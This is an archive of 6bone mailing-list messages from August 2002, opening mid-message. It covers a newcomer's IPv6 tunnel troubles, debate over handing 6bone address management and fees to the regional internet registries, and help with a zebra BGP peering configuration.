session is not exactly brain surgery to enable it. 

The problem I (and I presume others like me, just one person trying to
experiment with a view to having a secure future (and network) involving
IPv6) is not with the availability of the protocol, but with configuring
it for use afterwards. I have an account with Freenet6 (How many more
providers like them are there, and is there a definitive list), I
download and configure their Tunnel Broker and .conf file. I get 4
replies when I do ping6 ::1 as expected.

Using 'ipv6 if'
 I get :-

Interface 4: Ethernet: Local Area Connection

  uses Neighbor Discovery

  uses Router Discovery

  link-layer address: 00-40-d0-2a-af-71

    preferred link-local fe80::240:d0ff:fe2a:af71, life infinite

    multicast interface-local ff01::1, 1 refs, not reportable

    multicast link-local ff02::1, 1 refs, not reportable

    multicast link-local ff02::1:ff2a:af71, 1 refs, last reporter

  link MTU 1500 (true link MTU 1500)

  current hop limit 128

  reachable time 27000ms (base 30000ms)

  retransmission interval 1000ms

  DAD transmits 1

Interface 3: 6to4 Tunneling Pseudo-Interface

  does not use Neighbor Discovery

  does not use Router Discovery

    preferred global 2002:3eff:c534::3eff:c534, life infinite

  link MTU 1280 (true link MTU 65515)

  current hop limit 128

  reachable time 26000ms (base 30000ms)

  retransmission interval 1000ms

  DAD transmits 0

Interface 2: Automatic Tunneling Pseudo-Interface

  does not use Neighbor Discovery

  does not use Router Discovery

  router link-layer address: 0.0.0.0

  EUI-64 embedded IPv4 address: 0.0.0.0

    preferred link-local fe80::5efe:62.255.197.52, life infinite

    preferred global ::62.255.197.52, life infinite

    preferred link-local fe80::5efe:192.168.0.1, life infinite

  link MTU 1280 (true link MTU 65515)

  current hop limit 128

  reachable time 37000ms (base 30000ms)

  retransmission interval 1000ms

  DAD transmits 0

Interface 1: Loopback Pseudo-Interface

  does not use Neighbor Discovery

  does not use Router Discovery

  link-layer address: 

    preferred link-local ::1, life infinite

    preferred link-local fe80::1, life infinite

  link MTU 1500 (true link MTU 4294967295)

  current hop limit 128

  reachable time 33500ms (base 30000ms)

  retransmission interval 1000ms

  DAD transmits 0


I have no idea what should and shouldn't be in the above data, I just
know that I can NOT do a damn thing - can't ping6 any address whatsoever
outside my LAN , no tracert6 , no access to ipv6 only websites, etc...(I
am doing it wrong, should I be connecting another way? - There is a lot
of RFC's about sure, but I sometimes get overloaded with stuff I don't
really need to know just yet.

Apart from hopefully someone pointing me in the right direction (no luck
with Freenet6 yet!) , the above was really a demonstration to back up
ideas that it is not easy to get IPv6 connectivity for people like me
(I'm guessing the whole point of the 6bone is to reach out to people
like me?)

I am moving to Australia from England in about 3 weeks now, so maybe
I'll get a better deal there but using my current situation as an
example - My current ISP and connection to the internet is NTL , if I
successfully connected to Freenet6 (for example) using IPv6 , am I
really seeing a benefit routing wise? I see no mention anywhere from NTL
about providing a through route to IPv6 networks. I'm surely therefore
bottlenecked before I even start.

Thanks for listening, I think I've just confused myself even more.
However, I promise not to leave this list until I'm fully IPv6
connected, aware, and have my own IPv6 only website. I may be here
sometime:)



---
Outgoing mail is certified Virus Free. - Gavin..
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.381 / Virus Database: 214 - Release Date: 02/08/2002
 

From gert@Space.Net Thu Aug 22 14:14:32 2002
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From: Gert Doering <gert@space.net>
To: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
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Hi,

On Thu, Aug 22, 2002 at 09:01:33PM +0200, Francis Dupont wrote:
> => one of the interest of IPv6 is to finish with this system of fees for
> addresses. I am afraid that the current RIR monopoly will give at the end
> something even nastier than ICANN.

How do you propose to handle address management, reverse DNS management
etc. without someone to take care of it (and get paid for it)?

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  45583  (46871)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From Francis.Dupont@enst-bretagne.fr Thu Aug 22 15:04:56 2002
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Gert Doering <gert@Space.Net>
cc: Bob Fink <fink@es.net>, 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] proposal for transfer of 6bone address management responsibilities to RIRs 
In-reply-to: Your message of Thu, 22 Aug 2002 23:14:28 +0200.
             <20020822231428.I27015@Space.Net> 
Date: Fri, 23 Aug 2002 00:04:37 +0200
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 In your previous mail you wrote:

   > => one of the interest of IPv6 is to finish with this system of fees for
   > addresses. I am afraid that the current RIR monopoly will give at the end
   > something even nastier than ICANN.
   
   How do you propose to handle address management, reverse DNS management
   etc. without someone to take care of it (and get paid for it)?
   
=> I didn't say I have the "solution" but the Internet was here for enough
time to show what things are not good solutions. And the current system,
the RIR monopoly, can only give a disaster in the long term, and something
even worse than ICANN because the IPv4 address space is really limited.
 Unfortunately it seems that only this system is proposed for IPv6 and
we already got some bad consequences: can you really argue that RIRs pushed
for IPv6 last years?
 To come back to the 6bone (and to stay in the list charter), the case
of inviduals and sites interested in IPv6 (/64, /48, ...) is handled by
small organizations without money or resources to collect money (this is
a key point, I'll come back to it), not by ISPs (i.e., RIR members) because
the number of ISPs supporting IPv6 is too small. The proposed transfer will
remove the 6bone choice to these organizations and their "clients" and
throw everybody to worse solutions like 6to4 (worse because the 6to4-relay
issue is far to be solved).
 About collecting small fees: this is something very hard and very expensive.
Only a large organization can easily collect small fees and in general these
fees are at 99% used to keep the organization running. Just ask if RIRs
are ready to run pTLAs in the framework of Bob's proposal (if current
small organizations stop running them, we'll need to transfer this too
to someone).

Regards

Francis.Dupont@enst-bretagne.fr
(SIGCOMM'02 laptop bar is closing, I'll continue after)

From bmanning@ISI.EDU Thu Aug 22 15:14:21 2002
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Subject: Re: [6bone] proposal for transfer of 6bone address management responsibilities to RIRs
In-Reply-To: <20020822231428.I27015@Space.Net> from Gert Doering at "Aug 22, 2 11:14:28 pm"
To: gert@space.net (Gert Doering)
Date: Thu, 22 Aug 2002 15:14:11 -0700 (PDT)
Cc: Francis.Dupont@enst-bretagne.fr, fink@es.net, 6bone@ISI.EDU
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% Hi,
% 
% On Thu, Aug 22, 2002 at 09:01:33PM +0200, Francis Dupont wrote:
% > => one of the interest of IPv6 is to finish with this system of fees for
% > addresses. I am afraid that the current RIR monopoly will give at the end
% > something even nastier than ICANN.
% 
% How do you propose to handle address management, reverse DNS management
% etc. without someone to take care of it (and get paid for it)?
% 
% Gert Doering
%         -- NetMaster

	Not, perhaps a fair question.  Some of use are being paid to look
	after this stuff now.

-- 
--bill

From tvo@EnterZone.Net Thu Aug 22 16:19:24 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Gert Doering <gert@space.net>
cc: Francis Dupont <Francis.Dupont@enst-bretagne.fr>, Bob Fink <fink@es.net>,
   6BONE List <6bone@mailman.isi.edu>
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 responsibilities to RIRs
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On Thu, 22 Aug 2002, Gert Doering wrote:

> Hi,
> 
> On Thu, Aug 22, 2002 at 09:01:33PM +0200, Francis Dupont wrote:
> > => one of the interest of IPv6 is to finish with this system of fees for
> > addresses. I am afraid that the current RIR monopoly will give at the end
> > something even nastier than ICANN.
> 
> How do you propose to handle address management, reverse DNS management
> etc. without someone to take care of it (and get paid for it)?
> 
> Gert Doering
>         -- NetMaster
> -- 
> Total number of prefixes smaller than registry allocations:  45583  (46871)
> 
> SpaceNet AG                 Mail: netmaster@Space.Net
> Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
> 80807 Muenchen              Fax : +49-89-32356-299
> 


From the ARIN website:

"Organizations approved for receiving the standard /35 initial IPv6
allocation will be charged an annual fee of $2,500 (US). For larger
amounts of addresses, a fee of $20,000 (US) will be assessed. These fees
are payable prior to receiving the addresses and thereafter on the
anniversary date of the initial allocation. However, IPv6 fees will not be
charged to organizations that are current ARIN IPv4 subscription holders."

As long as the current "if you're already paying us for v4 allocation(s),
you don't pay more" holds true, I don't have a problem.

I find it hard to swallow that there is $20,000USD worth of work involved
with maintaining the whois database and two ip6.arpa records for each and
every /32 v6 allocation.

$10K USD for each /16 of v4 space seems a bit steep as well but such is
life.


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From pekkas@netcore.fi Fri Aug 23 00:03:48 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Gert Doering <gert@space.net>
cc: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>,
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Subject: Re: [6bone] separating IPv6 experimental from production traffic
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On Thu, 22 Aug 2002, Gert Doering wrote:
> On Thu, Aug 22, 2002 at 04:17:46PM +0300, Pekka Savola wrote:
> > On Thu, 22 Aug 2002, Gert Doering wrote:
> > > "Full transit to everybody" was a good idea to get a pretty tightly 
> > > meshed IPv6 network into place, which is *good* because it means that
> > > you have (typically) only few AS hops to traverse - and thus fewer 
> > > networks in between that can mess up your routing.
> > 
> > And quality (or lack thereof) is equally indeterminate everywhere; as-path
> > length tells *nothing* about optimal paths, ...
> 
> Of course.  But if you have *enough* peerings, you'll be able to reach
> most networks in a maximum of 2 hops - and if you then apply some 
> MED fiddling to mark "slow" tunnels, you can achieve pretty good results.

This leads to an "arms race"; everyone will need to get even more tunnels, 
leading to even tighter spaghetti.

I don't think having to do manual fiddling should be necessary, but that's 
life I suppose.

> > Hierarchy is good.
> 
> Hierarchy isn't too bad *iff* there are major differences between 
> participants.

True, that helps in organization.
 
> As long as none of my upstream ISPs *offer* IPv6 connectivity, I don't 
> see any reason why some of the ASes out there should be "further up"
> or "further down" in the hierarchy than we are.

Have you asked them from IPv6 connectivity?  Have others, also customers 
in that upstream, asked for that?  Perhaps IPv6 availability should be 
given as one decisive factor when evaluating proposals (we certainly do 
that).

Native is not necessary, tunneling would work just fine too.
 
> I see this as a market issue.  As soon as someone is actually willing to
> spend money on *good* IPv6 connectivity, there is an incentive to avoid 
> routing over trans-continental (or even international) tunnels, and things
> will unravel on their own.

Well, not necessarily spending money, but *NOT* spending money on
upstreams that do not offer anything wrt. IPv6.  That'll send just the
right kind of signal to ISP's: that they should offer basic IPv6 services
if they want customers.
 
> Of course I'm all for adding native peerings, dropping tunnels to
> non-responsive peers (or to some that have a dendency to blackhole 
> things), and so on.  But I don't expect a change to a hierarchically 
> organized network of purely native links "really soon now".

Well, I'm a doubtful "6bone" as such will ever evolve into that.  People
who have native links & v6-enabled transits etc. will just start operating
"production" networks.  And then they either shut down connections to
6bone completely (to avoid problems), or give the routes learned from
there the least preference.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From gert@Space.Net Fri Aug 23 00:24:24 2002
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Cc: Gert Doering <gert@Space.Net>, Bob Fink <fink@es.net>,
   6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] proposal for transfer of 6bone address management responsibilities to RIRs
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Hi,

On Fri, Aug 23, 2002 at 12:04:37AM +0200, Francis Dupont wrote:
>  In your previous mail you wrote:
> 
>    > => one of the interest of IPv6 is to finish with this system of fees for
>    > addresses. I am afraid that the current RIR monopoly will give at the end
>    > something even nastier than ICANN.
>    
>    How do you propose to handle address management, reverse DNS management
>    etc. without someone to take care of it (and get paid for it)?
>    
> => I didn't say I have the "solution" but the Internet was here for enough
> time to show what things are not good solutions. And the current system,
> the RIR monopoly, can only give a disaster in the long term, and something
> even worse than ICANN because the IPv4 address space is really limited.

If IPv4 runs out, so be it.  This is why we're doing IPv6.

>  Unfortunately it seems that only this system is proposed for IPv6 and
> we already got some bad consequences: can you really argue that RIRs pushed
> for IPv6 last years?

I agree that the RIRs have been slow in adopting IPv6, and not very
proactive either.  On the other hand, in the last round of policy 
discussions, the restrictive attitude came from the ARIN *community*, not 
from the RIRs.

I don't think, though, that the RIRs have slowed down IPv6 deployment -
the 6bone was there, and still the big breakthrough isn't happening.

>  To come back to the 6bone (and to stay in the list charter), the case
> of inviduals and sites interested in IPv6 (/64, /48, ...) is handled by
> small organizations without money or resources to collect money (this is
> a key point, I'll come back to it), not by ISPs (i.e., RIR members) because
> the number of ISPs supporting IPv6 is too small. 

I honour voluntary efforts.  Over time, and if we want to be IPv6 something
that's available everywhere, this will have to change, because volunteers
burn out eventually, or get bored.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  45583  (46871)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From gert@Space.Net Fri Aug 23 00:27:32 2002
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From: Gert Doering <gert@space.net>
To: John Fraizer <tvo@EnterZone.Net>
Cc: Gert Doering <gert@space.net>,
   Francis Dupont <Francis.Dupont@enst-bretagne.fr>, Bob Fink <fink@es.net>,
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Subject: Re: [6bone] proposal for transfer of 6bone address management responsibilities to RIRs
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Hi,

On Thu, Aug 22, 2002 at 07:18:50PM -0400, John Fraizer wrote:
> >From the ARIN website:
> 
> "Organizations approved for receiving the standard /35 initial IPv6
> allocation will be charged an annual fee of $2,500 (US). For larger
> amounts of addresses, a fee of $20,000 (US) will be assessed. 

So go and tell ARIN that you don't like that.

In RIPE land, this is not the case. You pay annual fees for all services 
altogether (which go up a bit if you have very much IPv4 space, which
*does* create extra work) and - right now - no extra costs for IPv6.

[..]
> As long as the current "if you're already paying us for v4 allocation(s),
> you don't pay more" holds true, I don't have a problem.

This is true in RIPE land.

> I find it hard to swallow that there is $20,000USD worth of work involved
> with maintaining the whois database and two ip6.arpa records for each and
> every /32 v6 allocation.

This is very much indeed, and I would not like that either.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  45583  (46871)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From tjc@ecs.soton.ac.uk Fri Aug 23 00:33:59 2002
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	Fri, 23 Aug 2002 08:33:42 +0100
Date: Fri, 23 Aug 2002 08:33:42 +0100
From: Tim Chown <tjc@ecs.soton.ac.uk>
To: John Fraizer <tvo@EnterZone.Net>
Cc: 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] proposal for transfer of 6bone address management responsibilities to RIRs
Message-ID: <20020823073342.GA5040@login.ecs.soton.ac.uk>
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On Thu, Aug 22, 2002 at 07:18:50PM -0400, John Fraizer wrote:
> 
> >From the ARIN website:
> 
> "Organizations approved for receiving the standard /35 initial IPv6
> allocation will be charged an annual fee of $2,500 (US). For larger
> amounts of addresses, a fee of $20,000 (US) will be assessed. These fees
> are payable prior to receiving the addresses and thereafter on the
> anniversary date of the initial allocation. However, IPv6 fees will not be
> charged to organizations that are current ARIN IPv4 subscription holders."
> 
> As long as the current "if you're already paying us for v4 allocation(s),
> you don't pay more" holds true, I don't have a problem.
> 
> I find it hard to swallow that there is $20,000USD worth of work involved
> with maintaining the whois database and two ip6.arpa records for each and
> every /32 v6 allocation.

I assume the above text should say "standard /32 initial IPv6 allocation"
and thus the "only" fees applicable for a new IPv6-only registrat would
be $2,500 US.

It would not be good for the 6bone to be liable to $2,500 per allocation,
given the finances behind an organistaion asking for production space as
opposed to one asking for 6bone space may well be very different.   Or
perhaps a deterrent to keep the "amateurs" away is good.

What's also interesting is where the SubTLA growth is happening.   From 
snapshots I noticed:

	Jul-01	May-02	Aug-02	Last 3 months
RIPE	41	58	87	29
APNIC	31	56	76	20
ARIN	21	28	32	4

That's a 150% growth in APNIC in a year.

Does anyone have a monthly status?

Tim

From rfurda@best.ca Fri Aug 23 01:47:23 2002
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	Hello,

I must say, I am amazed that spammers know what 6Bone and 6bone whois 
database is.
I have not posted anywhere the ipv6-support@best.ca contact mailbox, except 
the whois database.
I have contacted the appropriate people to make this crap stop.

	Richard



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From galania@ipv6.inictel.gob.pe Fri Aug 23 07:40:05 2002
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Date: Fri, 23 Aug 2002 09:35:07 -0500
From: Gino Francisco Alania Hurtado <galania@ipv6.inictel.gob.pe>
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Desire to do ping6 from host of my LAN Ipv6 to www.6bone.net , analyzing 
zebra I observe this: 


inter2> show bgp summary
BGP router identifier 200.60.172.144, local AS number 46014
1 BGP AS-PATH entries
0 BGP community entries

Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ Up/Down  
State/* PfxRcd*
3ffe:8070:101a::1
                4   278       7       7        0    0    0 00:01:53 
*Idle  *     

Total number of neighbors 1

The problem where is in my end or the remote end?
I have the following configuration of zebra
-------------------------------------------------------------------------------------------------------------------------
interface eth0
 ipv6 nd send-ra
 ipv6 nd prefix-advertisement 3ffe:8070:101a:1001::/64
!
interface inter2
--------------------------------------------------------------------------------------------------------------------------

and in the BGP he is the following one.

--------------------------------------------------------------------------------------------------------------
router bgp 46014
!! bgp router-id 6342
 ipv6 bgp network 3ffe:8070:101a::/48
!nuevo tunnel unam
 ipv6 bgp neighbor 3ffe:8070:101a::1 remote-as 278
 ipv6 bgp neighbor 3ffe:8070:101a::1 interface inter2
 ipv6 bgp neighbor 3ffe:8070:101a::1 description UNAM mexico 6bone
 ipv6 bgp neighbor 3ffe:8070:101a::1 next-hop-self
!
access-list all permit any
!
line vty
-----------------------------------------------------------------------------------------------------------------

thanks


From galania@ipv6.inictel.gob.pe Fri Aug 23 07:40:19 2002
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Date: Fri, 23 Aug 2002 09:35:07 -0500
From: Gino Francisco Alania Hurtado <galania@ipv6.inictel.gob.pe>
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Desire to do ping6 from host of my LAN Ipv6 to www.6bone.net , analyzing 
zebra I observe this: 


inter2> show bgp summary
BGP router identifier 200.60.172.144, local AS number 46014
1 BGP AS-PATH entries
0 BGP community entries

Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ Up/Down  
State/* PfxRcd*
3ffe:8070:101a::1
                4   278       7       7        0    0    0 00:01:53 
*Idle  *     

Total number of neighbors 1

The problem where is in my end or the remote end?
I have the following configuration of zebra
-------------------------------------------------------------------------------------------------------------------------
interface eth0
 ipv6 nd send-ra
 ipv6 nd prefix-advertisement 3ffe:8070:101a:1001::/64
!
interface inter2
--------------------------------------------------------------------------------------------------------------------------

and in the BGP he is the following one.

--------------------------------------------------------------------------------------------------------------
router bgp 46014
!! bgp router-id 6342
 ipv6 bgp network 3ffe:8070:101a::/48
!nuevo tunnel unam
 ipv6 bgp neighbor 3ffe:8070:101a::1 remote-as 278
 ipv6 bgp neighbor 3ffe:8070:101a::1 interface inter2
 ipv6 bgp neighbor 3ffe:8070:101a::1 description UNAM mexico 6bone
 ipv6 bgp neighbor 3ffe:8070:101a::1 next-hop-self
!
access-list all permit any
!
line vty
-----------------------------------------------------------------------------------------------------------------

thanks


From richardj@arin.net Fri Aug 23 08:00:17 2002
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Reply-To: <richardj@arin.net>
From: "Richard Jimmerson" <richardj@arin.net>
To: "'John Fraizer'" <tvo@EnterZone.Net>
Cc: "'6BONE List'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] proposal for transfer of 6bone address management responsibilities to RIRs
Date: Fri, 23 Aug 2002 10:59:49 -0400
Organization: ARIN
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Hello John,

> As long as the current "if you're already paying us 
> for v4 allocation(s), you don't pay more" holds true, 
> I don't have a problem.

It is currently the case that ARIN does not collect fees
from current ARIN IPv4 subscribers who request and qualify 
for IPv6 address space.  A note from the ARIN web site:

** "ARIN will not collect subscription fees for current 
ARIN IPv4 subscribers who request and qualify for IPv6 address 
space. This will be effective from January 1, 2001 to 
December 31, 2002 unless terminated earlier by the ARIN Board. 
This change in fee policy was enacted by the ARIN Board of 
Trustees at their December 14, 2000 meeting." **

The IPv6 fee schedule is currently being evaluated.  Included
below is a statement from the minutes of the ARIN Board of
Trustees meeting, July 9, 2002.  This has been added as a note
to the fee schedule page of the ARIN website.

** "The ARIN Board of Trustees notes that the recent change
to the IPv6 minimum allocation size has an impact on the fee 
schedule. While a new fee schedule is being evaluated, the Board 
waives any additional fees that would otherwise be assessed based 
on the larger initial amount of address space. This waiver is 
effective August 1, 2002 until such time as the Board publishes 
a new fee schedule. The current waiver of assessment of fees for 
IPv4 subscribers who request IPv6 space will remain in effect 
until December 31, 2002." **

Best Regards,

Richard Jimmerson
Director of Operations
American Registry for Internet Numbers (ARIN)

> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu 
> [mailto:6bone-admin@mailman.isi.edu] On Behalf Of John Fraizer
> Sent: Thursday, August 22, 2002 7:19 PM
> To: Gert Doering
> Cc: Francis Dupont; Bob Fink; 6BONE List
> Subject: Re: [6bone] proposal for transfer of 6bone address 
> management responsibilities to RIRs
> 
> 
> 
> On Thu, 22 Aug 2002, Gert Doering wrote:
> 
> > Hi,
> > 
> > On Thu, Aug 22, 2002 at 09:01:33PM +0200, Francis Dupont wrote:
> > > => one of the interest of IPv6 is to finish with this 
> system of fees for
> > > addresses. I am afraid that the current RIR monopoly will 
> give at the end
> > > something even nastier than ICANN.
> > 
> > How do you propose to handle address management, reverse 
> DNS management
> > etc. without someone to take care of it (and get paid for it)?
> > 
> > Gert Doering
> >         -- NetMaster
> > -- 
> > Total number of prefixes smaller than registry allocations: 
>  45583  (46871)
> > 
> > SpaceNet AG                 Mail: netmaster@Space.Net
> > Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
> > 80807 Muenchen              Fax : +49-89-32356-299
> > 
> 
> 
> >From the ARIN website:
> 
> "Organizations approved for receiving the standard /35 initial IPv6
> allocation will be charged an annual fee of $2,500 (US). For larger
> amounts of addresses, a fee of $20,000 (US) will be assessed. 
> These fees
> are payable prior to receiving the addresses and thereafter on the
> anniversary date of the initial allocation. However, IPv6 
> fees will not be
> charged to organizations that are current ARIN IPv4 
> subscription holders."
> 
> As long as the current "if you're already paying us for v4 
> allocation(s),
> you don't pay more" holds true, I don't have a problem.
> 
> I find it hard to swallow that there is $20,000USD worth of 
> work involved
> with maintaining the whois database and two ip6.arpa records 
> for each and
> every /32 v6 allocation.
> 
> $10K USD for each /16 of v4 space seems a bit steep as well 
> but such is
> life.
> 
> 
> ---
> John Fraizer              | High-Security Datacenter Services |
> EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
> http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From nicolas.deffayet@ndsoftware.net Fri Aug 23 08:44:28 2002
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Subject: Re: [6bone] ping6
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Gino Francisco Alania Hurtado <galania@ipv6.inictel.gob.pe>
Cc: 6bone@mailman.isi.edu, usagi-users@linux-ipv6.org
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On Fri, 2002-08-23 at 16:35, Gino Francisco Alania Hurtado wrote:
> Desire to do ping6 from host of my LAN Ipv6 to www.6bone.net , analyzing 
> zebra I observe this: 
> 
> 
> inter2> show bgp summary
> BGP router identifier 200.60.172.144, local AS number 46014
> 1 BGP AS-PATH entries
> 0 BGP community entries
> 
> Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ Up/Down  
> State/* PfxRcd*
> 3ffe:8070:101a::1
>                 4   278       7       7        0    0    0 00:01:53 
> *Idle  *     
> 
> Total number of neighbors 1

   Autonomous System Name: IANA-RSVD
   Autonomous System Block: 32768 - 64511

First don't use reserved AS, if you don't have your AS, use a private
ASN.

> 
> The problem where is in my end or the remote end?

Ask UNAM for check, UNAM must have:
neighbor 3ffe:8070:101a::2 remote-as 46014

> I have the following configuration of zebra
> -------------------------------------------------------------------------------------------------------------------------
> interface eth0
>  ipv6 nd send-ra
>  ipv6 nd prefix-advertisement 3ffe:8070:101a:1001::/64
> !
> interface inter2
> --------------------------------------------------------------------------------------------------------------------------
> 
> and in the BGP he is the following one.
> 
> --------------------------------------------------------------------------------------------------------------
> router bgp 46014
> !! bgp router-id 6342
>  ipv6 bgp network 3ffe:8070:101a::/48
> !nuevo tunnel unam
>  ipv6 bgp neighbor 3ffe:8070:101a::1 remote-as 278
>  ipv6 bgp neighbor 3ffe:8070:101a::1 interface inter2
>  ipv6 bgp neighbor 3ffe:8070:101a::1 description UNAM mexico 6bone
>  ipv6 bgp neighbor 3ffe:8070:101a::1 next-hop-self
> !
> access-list all permit any
> !
> line vty
> -----------------------------------------------------------------------------------------------------------------

Configuration not very good.

Install Zebra 0.93a and use:

!
! Zebra configuration saved from vty
!   2001/08/11 12:37:58
!
hostname !!!-your-hostname-!!!
password !!!-password-!!!!
enable password !!!-password-!!!
!
log file /var/log/bgpd.log
!
debug bgp events
!
router bgp 46014
 bgp router-id 200.60.172.144
 !
 neighbor 3ffe:8070:101a::1 remote-as 278
 neighbor 3ffe:8070:101a::1 next-hop-self
 neighbor 3ffe:8070:101a::1 interface inter2
 neighbor 3ffe:8070:101a::1 description UNAM
!
 address-family ipv6
  network 3ffe:8070:101a::/48
  neighbor 3ffe:8070:101a::1 activate
  neighbor 3ffe:8070:101a::1 soft-reconfiguration inbound
  neighbor 3ffe:8070:101a::1 route-map unam-out out
 exit-address-family
!
ipv6 access-list all permit any
!
route-map unam-out permit 10
 match ipv6 address all
 set ipv6 next-hop global 3ffe:8070:101a::2
!
line vty
 exec-timeout 60 0
!
end

You can add after filter for accept only pTLA and sTLA from your peer.

Best Regards,

Nicolas DEFFAYET


From joao@ripe.net Fri Aug 23 08:57:22 2002
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Date: Fri, 23 Aug 2002 17:56:49 +0200
To: Gert Doering <gert@space.net>, John Fraizer <tvo@EnterZone.Net>
From: Joao Luis Silva Damas <joao@ripe.net>
Subject: Re: [6bone] proposal for transfer of 6bone address management
 responsibilities to RIRs
Cc: Gert Doering <gert@space.net>,
   Francis Dupont <Francis.Dupont@enst-bretagne.fr>, Bob Fink <fink@es.net>,
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At 9:27 +0200 23/8/02, Gert Doering wrote:
>Hi,
>
>On Thu, Aug 22, 2002 at 07:18:50PM -0400, John Fraizer wrote:
>>  >From the ARIN website:
>>
>>  "Organizations approved for receiving the standard /35 initial IPv6
>>  allocation will be charged an annual fee of $2,500 (US). For larger
>>  amounts of addresses, a fee of $20,000 (US) will be assessed.
>
>So go and tell ARIN that you don't like that.
>
>In RIPE land, this is not the case. You pay annual fees for all services
>altogether (which go up a bit if you have very much IPv4 space, which
>*does* create extra work) and - right now - no extra costs for IPv6.

True, and the membership fees are purely based on cost recovery for 
the services as the RIPE NCC is non-profit organisation. One of the 
things that troubles me in Bob proposal is the mention of "minimal 
cost", unless that means the usual membership fee of course.

Joao

From fink@es.net Fri Aug 23 09:22:22 2002
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To: Joao Luis Silva Damas <joao@ripe.net>
From: Bob Fink <fink@es.net>
Subject: Re: [6bone] proposal for transfer of 6bone address management
  responsibilities to RIRs
Cc: 6BONE List <6bone@mailman.isi.edu>
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Joao,

At 05:56 PM 8/23/2002 +0200, Joao Luis Silva Damas wrote:
>At 9:27 +0200 23/8/02, Gert Doering wrote:
>>Hi,
>>
>>On Thu, Aug 22, 2002 at 07:18:50PM -0400, John Fraizer wrote:
>>>  >From the ARIN website:
>>>
>>>  "Organizations approved for receiving the standard /35 initial IPv6
>>>  allocation will be charged an annual fee of $2,500 (US). For larger
>>>  amounts of addresses, a fee of $20,000 (US) will be assessed.
>>
>>So go and tell ARIN that you don't like that.
>>
>>In RIPE land, this is not the case. You pay annual fees for all services
>>altogether (which go up a bit if you have very much IPv4 space, which
>>*does* create extra work) and - right now - no extra costs for IPv6.
>
>True, and the membership fees are purely based on cost recovery for the 
>services as the RIPE NCC is non-profit organisation. One of the things 
>that troubles me in Bob proposal is the mention of "minimal cost", unless 
>that means the usual membership fee of course.

It means keeping the cost low to reflect actual cost of the service 
provided, which for the 6bone would be less than normal IPv4 allocation 
activity. However, the fee would have to be specific to the RIR as all the 
RIRs have their different rules/policies/procedures/culture/...


Bob


From jordi.palet@consulintel.es Fri Aug 23 09:34:28 2002
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Subject: Re: [6bone] proposal for transfer of 6bone address management responsibilities to RIRs
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Joao,

I know this is hard to say, but I fully agree with Francis.

We already had this discussion some time ago (12th September in Barcelona Task Force meeting).

One of the ways to promote IPv6 will be getting the address for free or for a REAL cost.

I'm sure we can look alternative ways to delegate address space not involving so high memberships.

And I'm ABSOLUTELY convinced it can be DONE with a lower price. I will prefer to be charged by each of the services provided by the
RIR (that I need to pay nevertheless I use or not), instead of a single annual fee, with has only two levels.

That is causing the ISPs making REAL business with the address space (and I know you can say they charge for the services, but we
can force them to provide this free of charge and charge for OTHER real services). The IPv6 address space MUST be a global resource,
available for FREE.

I always say IPv6 is FREEDOM, and following the same rule as in IPv4, it WILL NOT BE.

If there is any proposal to delegate the IPv6 address space in some other way, to avoid this situation, I will volunteer to work in
that.

Regards,
Jordi

----- Original Message -----
From: "Joao Luis Silva Damas" <joao@ripe.net>
To: "Gert Doering" <gert@space.net>; "John Fraizer" <tvo@EnterZone.Net>
Cc: "Gert Doering" <gert@space.net>; "Francis Dupont" <Francis.Dupont@enst-bretagne.fr>; "Bob Fink" <fink@es.net>; "6BONE List"
<6bone@mailman.isi.edu>
Sent: Friday, August 23, 2002 5:56 PM
Subject: Re: [6bone] proposal for transfer of 6bone address management responsibilities to RIRs


> At 9:27 +0200 23/8/02, Gert Doering wrote:
> >Hi,
> >
> >On Thu, Aug 22, 2002 at 07:18:50PM -0400, John Fraizer wrote:
> >>  >From the ARIN website:
> >>
> >>  "Organizations approved for receiving the standard /35 initial IPv6
> >>  allocation will be charged an annual fee of $2,500 (US). For larger
> >>  amounts of addresses, a fee of $20,000 (US) will be assessed.
> >
> >So go and tell ARIN that you don't like that.
> >
> >In RIPE land, this is not the case. You pay annual fees for all services
> >altogether (which go up a bit if you have very much IPv4 space, which
> >*does* create extra work) and - right now - no extra costs for IPv6.
>
> True, and the membership fees are purely based on cost recovery for
> the services as the RIPE NCC is non-profit organisation. One of the
> things that troubles me in Bob proposal is the mention of "minimal
> cost", unless that means the usual membership fee of course.
>
> Joao
> _______________________________________________
> 6bone mailing list
